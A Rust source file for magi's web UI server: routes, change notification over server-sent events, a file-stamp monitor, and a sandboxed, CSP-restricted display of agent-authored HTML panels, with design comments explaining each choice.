Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # Independent scheduler
72//!
73//! `/api/loop` starts and controls a detached scheduler. Replacing or closing
74//! the web process does not stop that scheduler or its task/chat workers.
75//! Stop ends scheduling; explicit park additionally asks task workers to stop
76//! at their next node boundary. Updating never requests a park.
77
78#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
119pub const DEFAULT_PORT: u16 = 7878;
120
121/// How often the change stream restats the queue and the runs directory.
122const POLL: Duration = Duration::from_secs(1);
123
124/// Keep-alive interval for the change stream. Phones and intermediaries drop
125/// an idle connection within a minute; a comment every fifteen seconds keeps
126/// the stream alive without waking the radio often enough to matter.
127const KEEPALIVE: Duration = Duration::from_secs(15);
128
129/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
130///
131/// A fixed period this long would not track a `[update] interval` shorter
132/// than itself: an operator who set `interval = "1m"` to make the deck
133/// notice a release within a minute would still wait up to fifteen of them
134/// for the next wake-up to even ask [`updater::Checker::should_check`].
135/// [`recheck_poll_period`] scales the sleep with the configured interval
136/// instead, and this is only its ceiling - reached at the default interval
137/// of a day, where waking any more often would just spend cycles asking a
138/// question that stays "no" for hours.
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141/// Floor on the same, so a very short `[update] interval` cannot spin
142/// [`run_update_recheck`] in a near-busy loop.
143const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145/// Runs returned when the client does not ask, and the ceiling if it asks for
146/// more. The cap exists because the list handler parses every `run.json` it
147/// returns, and a phone cannot render two thousand rows anyway.
148const LIST_DEFAULT: usize = 50;
149/// Upper bound for `?limit=`.
150const LIST_MAX: usize = 500;
151
152/// Width of a generated task title, matching what the CLI uses.
153const TITLE_MAX: usize = 72;
154
155/// Per-file cap for an attachment upload.
156///
157/// Enforced twice: axum's own body limit is raised one byte above this, only
158/// on the two attachment `POST` routes (see the router - every other route
159/// keeps the crate-wide default), so an oversize body is still read far
160/// enough to answer with our own message below rather than axum's generic
161/// one; this constant is what that message and the boundary check actually
162/// compare against.
163const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165/// The image types an attachment upload accepts - a closed whitelist, the
166/// same posture [`asset_content_type`] takes for panel assets and for the
167/// same reason: SVG is excluded on purpose because it is active content
168/// (it may carry `<script>`) and not merely a picture, so it never appears
169/// here even though `image/svg+xml` is a real IANA type.
170const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172/// Header carrying the operator's own filename. Free text, stored only for
173/// display - see [`talk::Attachment::name`]'s doc on why it never
174/// contributes to a path.
175const FILENAME_HEADER: &str = "x-filename";
176
177/// The header that makes serving agent-authored HTML defensible, sent by both
178/// panel routes and asserted verbatim by a test.
179///
180/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
181/// denies every fetch destination that is not re-allowed below, which is all of
182/// them except images and fonts; `img-src 'self' data:` means an image comes
183/// from magi's own asset route or from the document itself, so a panel cannot
184/// signal an outside server by pointing an `<img>` at it - the classic
185/// exfiltration channel for markup that cannot run script. `style-src
186/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
187/// free formatting means here and a style sheet cannot make a request that
188/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
189/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
190/// stops a form posting the owner's decision to a third party, and
191/// `frame-ancestors 'self'` stops another site framing the panel to phish with
192/// it.
193///
194/// There is deliberately no `script-src`: `default-src 'none'` already covers
195/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
196/// denied twice over. Weakening any directive here is the difference between a
197/// panel the owner reads and a page that can talk to the tailnet, which is why
198/// the test compares the whole string rather than looking for a substring.
199const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200                         font-src data:; base-uri 'none'; form-action 'none'; \
201                         frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207/// Which address to listen on.
208#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210    /// Ask Tailscale, and fall back to loopback with a warning.
211    Auto,
212    /// An address the operator named.
213    Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217    type Err = String;
218
219    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
220    /// the CLI can take `--bind` straight into it: the one spelling of
221    /// `auto` that matters is the one this function knows.
222    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223        if s.eq_ignore_ascii_case("auto") {
224            return Ok(Self::Auto);
225        }
226        s.parse()
227            .map(Self::Addr)
228            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229    }
230}
231
232impl std::fmt::Display for Bind {
233    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234        match self {
235            Self::Auto => f.write_str("auto"),
236            Self::Addr(addr) => write!(f, "{addr}"),
237        }
238    }
239}
240
241/// How to serve.
242#[derive(Debug, Clone)]
243pub struct Opts {
244    /// Address to listen on.
245    pub bind: Bind,
246    /// Port to listen on.
247    pub port: u16,
248    /// Repository used for tasks posted without one.
249    pub repo: PathBuf,
250    /// Print the URL on its own line for a caller that wants to hand it to a
251    /// browser. magi never launches one itself.
252    pub open: bool,
253    /// Merge mode override for the independent scheduler (`none`, `local`,
254    /// `pr`); `None` leaves it to each repository's own config.
255    ///
256    /// The same override as `magi serve --merge`, passed when the phone starts
257    /// dispatch without requiring a terminal.
258    pub merge: Option<String>,
259}
260
261impl Default for Opts {
262    fn default() -> Self {
263        Self {
264            bind: Bind::Auto,
265            port: DEFAULT_PORT,
266            repo: PathBuf::from("."),
267            open: false,
268            merge: None,
269        }
270    }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277/// Metadata only: no task instructions or conversation bodies are read here.
278fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279    try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283    try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287    use std::hash::{Hash as _, Hasher as _};
288    let entries = match std::fs::read_dir(root) {
289        Ok(entries) => entries,
290        Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291        Err(e) => return Err(e),
292    };
293    let mut stamps = HashMap::new();
294    for entry in entries {
295        let entry = entry?;
296        let path = if runs {
297            entry.path().join("run.json")
298        } else {
299            entry.path()
300        };
301        if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302            continue;
303        }
304        let identity = match file_identity(&path) {
305            Ok(identity) => identity,
306            Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307            Err(e) => return Err(e),
308        };
309        let modified = identity
310            .modified
311            .duration_since(std::time::UNIX_EPOCH)
312            .unwrap_or_default();
313        let mut hasher = std::hash::DefaultHasher::new();
314        identity.hash(&mut hasher);
315        let id = if runs || all_entries {
316            entry.file_name().to_string_lossy().into_owned()
317        } else {
318            path.file_stem()
319                .unwrap_or_default()
320                .to_string_lossy()
321                .into_owned()
322        };
323        stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324    }
325    Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330    base: u64,
331    changed: Vec<String>,
332    removed: Vec<String>,
333}
334
335fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
336    let mut changed: Vec<_> = next
337        .iter()
338        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
339        .map(|(id, _)| id.clone())
340        .collect();
341    let mut removed: Vec<_> = previous
342        .keys()
343        .filter(|id| !next.contains_key(*id))
344        .cloned()
345        .collect();
346    changed.sort_unstable();
347    removed.sort_unstable();
348    Delta {
349        base,
350        changed,
351        removed,
352    }
353}
354
355/// Change detection token for recorded runs under `runs`.
356#[cfg(test)]
357fn runs_revision(runs: &FsPath) -> u64 {
358    stamps_revision(&store_stamps(runs, true))
359}
360
361/// Opaque tokens use the exact metadata snapshot behind the delta, in both
362/// health and SSE. Nanoseconds and length also detect same-millisecond writes
363/// and deleting an older conversation (a newest-mtime token cannot do that).
364fn stamps_revision(stamps: &Stamps) -> u64 {
365    use std::hash::{Hash as _, Hasher as _};
366    if stamps.is_empty() {
367        return 0;
368    }
369    let mut entries: Vec<_> = stamps.iter().collect();
370    entries.sort_unstable();
371    let mut hasher = std::hash::DefaultHasher::new();
372    entries.hash(&mut hasher);
373    hasher.finish().max(1)
374}
375
376#[derive(Clone, Debug)]
377pub(crate) struct ChangeNotification {
378    pub payload: serde_json::Value,
379}
380
381#[derive(Default, Debug)]
382pub(crate) struct QueueIndex {
383    // Retain parsed records only while their file identity is unchanged.
384    records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
385    #[cfg(test)]
386    reparsed: usize,
387}
388
389#[derive(Clone, Debug)]
390struct TaskRelation {
391    id: String,
392    status: Option<crate::queue::TaskStatus>,
393    priority: i32,
394    runs: Vec<String>,
395    source: Source,
396    chat: Option<String>,
397}
398
399impl From<Task> for TaskRelation {
400    fn from(task: Task) -> Self {
401        Self {
402            id: task.id,
403            status: Some(task.status),
404            priority: task.priority,
405            runs: task.runs,
406            source: task.source,
407            chat: task.chat,
408        }
409    }
410}
411
412#[derive(Debug, PartialEq, Eq, Hash)]
413struct FileIdentity {
414    modified: std::time::SystemTime,
415    len: u64,
416    #[cfg(unix)]
417    identity: (u64, u64, i64, i64),
418}
419
420fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
421    let meta = path.metadata()?;
422    Ok(FileIdentity {
423        modified: meta.modified()?,
424        len: meta.len(),
425        #[cfg(unix)]
426        identity: {
427            use std::os::unix::fs::MetadataExt as _;
428            (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
429        },
430    })
431}
432
433type Revisions = (u64, u64, u64, u64, u64, u64);
434type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
435
436#[derive(Debug)]
437pub(crate) struct SharedMonitor {
438    pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
439    pub latest: Arc<Mutex<MonitorSnapshot>>,
440    pub worker_started: std::sync::atomic::AtomicBool,
441    pub queue_index: Arc<Mutex<QueueIndex>>,
442    list_walks: Mutex<Vec<ListWalk>>,
443    disk: Arc<Mutex<DiskObservation>>,
444}
445
446/// Keep a failed store's last observation without suppressing healthy stores.
447fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
448    let (mut rev, mut stamps) = previous.unwrap_or_default();
449    for (index, root, runs) in [
450        (0, ui.queue.root(), false),
451        (1, ui.runs.as_path(), true),
452        (2, ui.talks.root(), false),
453    ] {
454        if let Ok(next) = try_store_stamps(root, runs) {
455            let value = stamps_revision(&next);
456            match index {
457                0 => rev.0 = value,
458                1 => rev.1 = value,
459                _ => rev.3 = value,
460            }
461            stamps[index] = next;
462        }
463    }
464    if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
465        rev.2 = stamps_revision(&next);
466    }
467    if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
468        rev.4 = stamps_revision(&next);
469    }
470    rev.5 = ui.lock_loop().rev;
471    (rev, stamps)
472}
473
474impl SharedMonitor {
475    pub fn new() -> Self {
476        let (tx, _) = tokio::sync::broadcast::channel(64);
477        Self {
478            broadcaster: tx,
479            latest: Arc::default(),
480            worker_started: std::sync::atomic::AtomicBool::new(false),
481            queue_index: Arc::default(),
482            list_walks: Mutex::default(),
483            disk: Arc::default(),
484        }
485    }
486
487    async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
488        let mut receiver = self.broadcaster.subscribe();
489        self.ensure_worker(ui);
490        loop {
491            if let Some((revisions, _)) = self
492                .latest
493                .lock()
494                .unwrap_or_else(PoisonError::into_inner)
495                .as_ref()
496            {
497                return Ok(*revisions);
498            }
499            tokio::time::timeout(Duration::from_secs(5), receiver.recv())
500                .await
501                .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
502                .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
503        }
504    }
505
506    pub fn ensure_worker(&self, ui: &Arc<Ui>) {
507        if self
508            .worker_started
509            .compare_exchange(
510                false,
511                true,
512                std::sync::atomic::Ordering::SeqCst,
513                std::sync::atomic::Ordering::SeqCst,
514            )
515            .is_err()
516        {
517            return;
518        }
519
520        let weak_ui = Arc::downgrade(ui);
521        tokio::spawn(async move {
522            let mut ticker = tokio::time::interval(POLL);
523            loop {
524                ticker.tick().await;
525                let Some(ui) = weak_ui.upgrade() else {
526                    break;
527                };
528
529                let previous = ui
530                    .monitor
531                    .latest
532                    .lock()
533                    .unwrap_or_else(PoisonError::into_inner)
534                    .clone();
535                let state = Arc::clone(&ui);
536                let scan =
537                    tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
538
539                // A slow filesystem must not turn missed ticks into a busy loop.
540                ticker.reset();
541                let Ok((revisions, next_stamps)) = scan else {
542                    continue;
543                };
544
545                let mut latest_guard = match ui.monitor.latest.lock() {
546                    Ok(g) => g,
547                    Err(p) => p.into_inner(),
548                };
549
550                let previous = latest_guard.take();
551                let (last_rev, prev_stamps) = match previous {
552                    Some((r, s)) => (Some(r), Some(s)),
553                    None => (None, None),
554                };
555
556                if last_rev == Some(revisions) {
557                    *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
558                    continue;
559                }
560
561                let mut payload = serde_json::json!({
562                    "queue_rev": revisions.0,
563                    "runs_rev": revisions.1,
564                    "questions_rev": revisions.2,
565                    "talks_rev": revisions.3,
566                    "notifications_rev": revisions.4,
567                    "loop_rev": revisions.5,
568                });
569
570                if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
571                    for (index, (key, rev)) in [
572                        ("queue_delta", base.0),
573                        ("runs_delta", base.1),
574                        ("talks_delta", base.3),
575                    ]
576                    .into_iter()
577                    .enumerate()
578                    {
579                        let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
580                        if delta.changed.len() + delta.removed.len() > 0
581                            && delta.changed.len() <= 50
582                        {
583                            payload[key] = serde_json::to_value(delta).expect("serializable delta");
584                        }
585                    }
586                }
587
588                *latest_guard = Some((revisions, next_stamps));
589                drop(latest_guard);
590
591                let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
592            }
593        });
594    }
595}
596
597/// Everything the handlers touch.
598///
599/// The queue, the runs directory and the magi home are fields rather than
600/// process-global lookups so a test drives the real router against a temp
601/// directory instead of the operator's own history.
602#[derive(Debug, Clone)]
603pub struct Ui {
604    queue: Queue,
605    questions: Questions,
606    /// `<home>/notifications`, the bell's own store. Derived from `home` in
607    /// [`Ui::new`] so no constructor signature had to grow.
608    notices: Notices,
609    talks: Talks,
610    runs: PathBuf,
611    references: Arc<id_links::IndexCache>,
612    home: PathBuf,
613    repo: PathBuf,
614    /// Where the runs' worktrees live, for the health disk figures.
615    ///
616    /// Spelled independently of [`crate::run::default_worktree_root`] so the
617    /// test servers can point it at their own temp directory: the health route
618    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
619    /// be measuring the machine instead of the server.
620    worktrees_root: PathBuf,
621    /// Talks with an agent turn in flight right now.
622    ///
623    /// In-process and therefore not durable, which is correct: it guards
624    /// against two taps on one phone and two phones on one tailnet, both of
625    /// which are this process's own concurrency. A second `magi web` would not
626    /// see it, and a second `magi web` on the same home is already a
627    /// misconfiguration the queue's claims would catch first.
628    talk_turns: Arc<Mutex<TalkTurns>>,
629    /// Short persistence-to-worker-publication transactions only, never agent
630    /// execution. A handover closes admission before it releases the runtime.
631    admissions: Arc<tokio::sync::RwLock<bool>>,
632    /// Held by `POST /api/upgrade` from its busy-stage check until the first
633    /// progress record is written, so two taps cannot both start an upgrade.
634    /// After that `upgrade.json` carries the exclusion.
635    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
636    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
637    /// exclusion in memory for when `upgrade.json` could not be written.
638    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
639    /// Request failures before progress exists; never overwrite upgrade.json.
640    upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
641    auto_failed_tag: Arc<Mutex<Option<String>>>,
642    upgrade_runner: UpgradeRunner,
643    /// Runs this process is resuming right now.
644    ///
645    /// Separate from `talk_turns` because a run and a talk are different
646    /// things to hold, and a resume is far more expensive to start twice: it
647    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
648    /// guards two taps and two phones, which is this process's own
649    /// concurrency.
650    resuming: Arc<Mutex<HashSet<String>>>,
651    /// The last scan of `[repos] roots`, and when it happened. Shared across
652    /// requests so polling `GET /api/repos` repeatedly does not repeat the
653    /// filesystem walk every time - see [`repos::Cache`].
654    repos_cache: repos::Cache,
655    /// The machine-config file the settings screen reads and writes: always
656    /// [`Config::machine_layer`], never anything a request names. A field so a
657    /// test can point it at its own temp directory instead of the operator's.
658    machine_config: Option<PathBuf>,
659    /// Merge mode override handed to the loop this process starts.
660    merge: Option<String>,
661    /// Local request revision and errors; execution belongs to detached workers.
662    looping: Arc<Mutex<LoopState>>,
663    /// Isolated route-test scheduler; never compiled into production.
664    #[cfg(test)]
665    launch: Launch,
666    /// A test-only stop point inside `talk_say`'s busy branch. See
667    /// [`BusyQueueGate`].
668    #[cfg(test)]
669    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
670    pub(crate) monitor: Arc<SharedMonitor>,
671}
672
673type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
674
675/// A one-shot stop point the busy branch's queued-draft write can be made to
676/// pause at, right before [`talk::queue`] runs.
677///
678/// Exists because a test cannot otherwise pin *when*, relative to the turn
679/// slot being freed, that write happens: `blocking` runs it on
680/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
681/// already finished, so counting polls on the handler future to park it at a
682/// particular `.await` is a guess about scheduling, not a fact about it - see
683/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
684/// used to do exactly that and paid for it with an occasional "async fn
685/// resumed after completion" panic under load.
686///
687/// `reached` fires the instant the write is about to run, so a test waits for
688/// a real event instead of a poll count. `release` then blocks the write
689/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
690/// rather than an async channel because this all happens inside the
691/// `spawn_blocking` closure the write already runs on, off any runtime
692/// worker, so blocking here costs nothing the write was not already going to
693/// cost.
694#[cfg(test)]
695struct BusyQueueGate {
696    reached: tokio::sync::oneshot::Sender<()>,
697    release: std::sync::mpsc::Receiver<()>,
698}
699
700#[cfg(test)]
701impl std::fmt::Debug for BusyQueueGate {
702    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
703        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
704    }
705}
706
707impl Ui {
708    /// A server over explicit paths.
709    pub fn new(
710        queue: Queue,
711        questions: Questions,
712        talks: Talks,
713        runs: PathBuf,
714        home: PathBuf,
715        repo: PathBuf,
716    ) -> Self {
717        Self {
718            queue,
719            questions,
720            notices: Notices::at(home.join("notifications")),
721            talks,
722            runs,
723            references: Arc::default(),
724            home,
725            repo,
726            // The default location, overridden by `with_worktrees_root` - a
727            // builder step rather than a ninth parameter, for the reason
728            // `with_merge` gives.
729            worktrees_root: run::default_worktree_root(),
730            talk_turns: Arc::default(),
731            admissions: Arc::default(),
732            upgrade_gate: Arc::default(),
733            upgrade_spawned: Arc::default(),
734            upgrade_request_error: Arc::default(),
735            auto_failed_tag: Arc::default(),
736            upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
737            resuming: Arc::default(),
738            repos_cache: repos::Cache::new(),
739            machine_config: Config::machine_layer(),
740            merge: None,
741            looping: Arc::default(),
742            #[cfg(test)]
743            launch: launch_daemon,
744            #[cfg(test)]
745            busy_queue_gate: Arc::default(),
746            monitor: Arc::new(SharedMonitor::new()),
747        }
748    }
749
750    /// Refresh metadata on every lookup, including external-process writes. Only
751    /// changed records are parsed. Never publish a partial scan as an empty set.
752    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
753        let mut index = self
754            .monitor
755            .queue_index
756            .lock()
757            .unwrap_or_else(PoisonError::into_inner);
758        let entries = match std::fs::read_dir(self.queue.root()) {
759            Ok(entries) => entries,
760            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
761                index.records.clear();
762                return Ok(Vec::new());
763            }
764            Err(e) => return Err(anyhow::Error::from(e).into()),
765        };
766        let mut seen = HashSet::new();
767        for entry in entries {
768            let path = entry.map_err(anyhow::Error::from)?.path();
769            if path.extension().is_none_or(|ext| ext != "json") {
770                continue;
771            }
772            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
773                continue;
774            };
775            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
776            seen.insert(id.to_owned());
777            // On platforms without inode/ctime, re-read rather than trust a
778            // same-size replacement with a preserved modification timestamp.
779            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
780                let Ok(task) = self.queue.get(id) else {
781                    // Isolate an unreadable record, as Queue::list does. Keep
782                    // its last known relationship so a lookup of THAT task
783                    // still fails on the authoritative read below. Never let
784                    // unrelated corruption disable every run and conversation.
785                    // Counts must not present its previous status as current.
786                    if let Some((_, record)) = index.records.get_mut(id) {
787                        Arc::make_mut(record).status = None;
788                    }
789                    continue;
790                };
791                #[cfg(test)]
792                {
793                    index.reparsed += 1;
794                }
795                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
796                    return Err(ApiError::conflict("Queue changed during read; retry"));
797                }
798                index
799                    .records
800                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
801            }
802        }
803        index.records.retain(|id, _| seen.contains(id));
804        let mut tasks: Vec<_> = index
805            .records
806            .values()
807            .map(|(_, task)| task.clone())
808            .collect();
809        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
810        Ok(tasks)
811    }
812
813    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
814        let Some(record) = self
815            .indexed_tasks()?
816            .into_iter()
817            .find(|task| task.runs.iter().any(|id| id == run_id))
818        else {
819            return Ok(None);
820        };
821        let task = self.queue.get(&record.id)?;
822        if !task.runs.iter().any(|id| id == run_id) {
823            return Err(ApiError::conflict("Task relationship changed; retry"));
824        }
825        Ok(Some(task))
826    }
827
828    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
829        self.indexed_tasks()?
830            .into_iter()
831            .filter(|task| {
832                task.chat.as_deref() == Some(talk_id)
833                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
834            })
835            .map(|record| {
836                let task = self.queue.get(&record.id)?;
837                if task.chat.as_deref() != Some(talk_id)
838                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
839                {
840                    return Err(ApiError::conflict("Task relationship changed; retry"));
841                }
842                Ok(task)
843            })
844            .collect()
845    }
846
847    /// The operator's own state: `<home>/queue`, `<home>/questions`,
848    /// `<home>/talks`, `<home>/runs`.
849    pub fn open(repo: PathBuf) -> Self {
850        Self::new(
851            Queue::open(),
852            Questions::open(),
853            Talks::open(),
854            run::runs_root(),
855            run::home(),
856            repo,
857        )
858    }
859
860    /// The merge mode the loop should use, as the command line gave it.
861    ///
862    /// A builder step rather than a seventh parameter on [`Ui::new`], because
863    /// the override is a property of how this process was invoked and not of
864    /// where its state lives - which is all the tests that build a `Ui` by
865    /// hand are saying.
866    #[must_use]
867    pub fn with_merge(mut self, merge: Option<String>) -> Self {
868        self.merge = merge;
869        self
870    }
871
872    /// The machine-config file the settings screen writes, when it is not
873    /// [`Config::machine_layer`] (tests).
874    #[cfg(test)]
875    #[must_use]
876    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
877        self.machine_config = path;
878        self
879    }
880
881    /// Where the runs' worktrees live, when it is not the default.
882    ///
883    /// The health view sizes this directory, so a test that leaves it at the
884    /// default would be measuring the operator's own machine.
885    #[must_use]
886    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
887        self.worktrees_root = root;
888        self
889    }
890
891    /// Point the loop at something other than [`launch_daemon`].
892    ///
893    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
894    /// this crate may start the real loop.
895    #[cfg(test)]
896    #[must_use]
897    fn with_launch(mut self, launch: Launch) -> Self {
898        self.launch = launch;
899        self
900    }
901
902    /// Install a [`BusyQueueGate`] for the next pass through the busy
903    /// branch's queued-draft write, replacing any earlier one.
904    ///
905    /// A setter on `&self` rather than a `with_*` builder consumed once,
906    /// because a test that drives the busy branch more than once (as
907    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
908    /// to build confidence the interleaving is handled deterministically and
909    /// not just on a lucky run) needs a fresh channel pair each time, on the
910    /// one `Ui` it already built its temp directories around.
911    #[cfg(test)]
912    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
913        *self
914            .busy_queue_gate
915            .lock()
916            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
917    }
918
919    /// Prevent a restart from ending an already accepted send between its
920    /// durable transcript write and detached worker reservation.
921    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
922        let guard = Arc::clone(&self.admissions)
923            .try_read_owned()
924            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
